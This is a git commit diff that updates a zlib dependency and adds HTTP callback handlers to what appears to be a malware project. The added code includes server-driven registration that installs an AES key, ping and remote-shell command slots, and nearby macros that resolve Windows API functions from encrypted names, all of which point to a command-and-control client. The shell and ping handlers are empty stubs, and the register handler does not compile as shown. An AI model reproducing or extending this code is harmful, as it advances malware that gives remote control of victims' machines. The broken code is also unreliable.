aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlns <matzeton@googlemail.com>2022-05-31 20:33:17 +0200
committerlns <matzeton@googlemail.com>2022-05-31 20:33:17 +0200
commit722a720fdbc85e8d9107edd16e9d3be13b4a0de6 (patch)
treec863d8c3609885cc4db1507a74649af043e208cd
parent483e60c635b5c91fcd697006507b21ae2e881859 (diff)
bump zLib
* added some http callbacks Signed-off-by: lns <matzeton@googlemail.com>
-rwxr-xr-xdeps/makedeps.sh2
-rw-r--r--deps/sha512.chksms2
-rw-r--r--source/http.c66
3 files changed, 68 insertions, 2 deletions
diff --git a/deps/makedeps.sh b/deps/makedeps.sh
index 0c81207..bccdb8f 100755
--- a/deps/makedeps.sh
+++ b/deps/makedeps.sh
@@ -72,7 +72,7 @@ export NASM=nasm-2.12.02
#export TOR=tor-0.3.0.9
export PKGCONFIG=pkg-config-0.29.2
export OPENSSL=openssl-1.1.1f
-export ZLIB=zlib-1.2.11
+export ZLIB=zlib-1.2.12
export LIBEVENT=libevent-2.1.8-stable
export BUILDDIRS="build_python build_binutils build_gcc build_musl build_tor build_mingw_binutils build_mingw_hdr build_mingw_crt build_mingw_gcc build_nasm build_mingw_winpthread build_pkgconfig build_mingw_openssl build_mingw_zlib build_mingw_libevent build_mingw_tor"
diff --git a/deps/sha512.chksms b/deps/sha512.chksms
index 3ab8c85..d70b063 100644
--- a/deps/sha512.chksms
+++ b/deps/sha512.chksms
@@ -8,6 +8,6 @@ a0340bb83fb0ac0d3f7e0bcd06f6d5aa21e464ef319ab057cfacff036aa1f0d53e73a8b0ec2a00fd
03f1c97380cec892f2c465f7e3e3c99a55b5a7b7b966f71fba9398940ed332b7d960770ce75fafe549feaa70636edbf94b48b848137c9df3b0c8adb1dcbb1394 nasm-2.12.02.tar.gz
4861ec6428fead416f5cbbbb0bbad10b9152967e481d4b0ff2eb396a9f297f552984c9bb72f6864a37dcd8fca1d9ccceda3ef18d8f121938dbe4fdf2b870fe75 pkg-config-0.29.2.tar.gz
b00bd9b5ad5298fbceeec6bb19c1ab0c106ca5cfb31178497c58bf7e0e0cf30fcc19c20f84e23af31cc126bf2447d3e4f8461db97bafa7bd78f69561932f000c openssl-1.1.1f.tar.gz
-73fd3fff4adeccd4894084c15ddac89890cd10ef105dd5e1835e1e9bbb6a49ff229713bd197d203edfa17c2727700fce65a2a235f07568212d820dca88b528ae zlib-1.2.11.tar.gz
+cc2366fa45d5dfee1f983c8c51515e0cff959b61471e2e8d24350dea22d3f6fcc50723615a911b046ffc95f51ba337d39ae402131a55e6d1541d3b095d6c0a14 zlib-1.2.12.tar.gz
a2fd3dd111e73634e4aeb1b29d06e420b15c024d7b47778883b5f8a4ff320b5057a8164c6d50b53bd196c79d572ce2639fe6265e03a93304b09c22b41e4c2a17 libevent-2.1.8-stable.tar.gz
24d3cb349d07a7f2f75c78593416470293d8027eee91ef8547a667222ed9ad91fc3d16a127a1988eefff3878accdf070c1b3aaff4e185dcb79503d8146f15b05 isl-0.20.tar.gz
diff --git a/source/http.c b/source/http.c
index 95a3538..37f92de 100644
--- a/source/http.c
+++ b/source/http.c
@@ -55,8 +55,74 @@ struct HttpApi {
uint32_t next_ping;
};
+typedef int (*http_callback)(struct HttpApi *api, struct http_args *args);
+
+struct HttpCallback {
+ uint16_t type;
+ http_callback callback;
+ uint16_t state;
+};
+
static struct HttpApi* hApi = NULL;
+#define HTTP_CALLBACK(name) static int name(struct HttpApi *api, struct http_args *args)
+HTTP_CALLBACK(rc_info_cb);
+HTTP_CALLBACK(rc_register_cb);
+HTTP_CALLBACK(rc_ping_cb);
+HTTP_CALLBACK(rc_shell_cb);
+
+#define HTTP_CALLBACK_ENTRY(rc, cb, state) { .type = rc, .callback = cb, .state = state }
+#define DEFAULT_HTTP_CALLBACK_ENTRY(rc, cb) HTTP_CALLBACK_ENTRY(rc, cb, 0)
+static const struct HttpCallback callbacks[] = {
+ DEFAULT_HTTP_CALLBACK_ENTRY(RC_INFO, rc_info_cb),
+ HTTP_CALLBACK_ENTRY(RC_REGISTER, rc_register_cb, ST_UNAUTH),
+ DEFAULT_HTTP_CALLBACK_ENTRY(RC_PING, rc_ping_cb),
+ DEFAULT_HTTP_CALLBACK_ENTRY(RC_SHELL, rc_shell_cb),
+};
+
+
+HTTP_CALLBACK(rc_info_cb)
+{
+ return 0;
+}
+
+HTTP_CALLBACK(rc_register_cb)
+{
+ if (hApi->state & ST_UNAUTH || hResp->respCode == RC_REGISTER) {
+ /* request aeskey, etc, ... */
+ if (hResp->respCode != RC_REGISTER || hResp->pkgsiz != sizeof(struct resp_register)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("I wanted an RC_REGISTER pkg but did not get a valid one! (Code: %u (0x%X), Size: %u (0x%X))\n",
+ hResp->respCode, hResp->respCode, hResp->pkgsiz, hResp->pkgsiz);
+#endif
+ continue;
+ }
+ struct resp_register* rsp = (struct resp_register*)&hResp->pkgbuf[0];
+ COMPAT(memcpy)(&hApi->aeskey[0], &rsp->aeskey[0], AESKEY_SIZ);
+#ifdef _PRE_RELEASE
+ if (!(hApi->state & ST_UNAUTH)) {
+ COMPAT(printf)("%s\n", "Re-Register forced");
+ }
+#endif
+ hApi->state &= ~ST_UNAUTH;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("AES key: ");
+ __printByteBuf((const rrbuff)&hApi->aeskey[0], AESKEY_SIZ);
+ COMPAT(printf)("Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping);
+#endif
+ }
+ return 0;
+}
+
+HTTP_CALLBACK(rc_ping_cb)
+{
+ return 0;
+}
+
+HTTP_CALLBACK(rc_shell_cb)
+{
+ return 0;
+}
#define DECRYPT_AND_LIBGETPROC(i, lib, type, dest) { DBUF(i, tmp); dest = (type)getproc(lib, tmp); }
#define DECRYPT_AND_GETPROC(i, type, dest) DECRYPT_AND_LIBGETPROC(i, httplib, type, dest)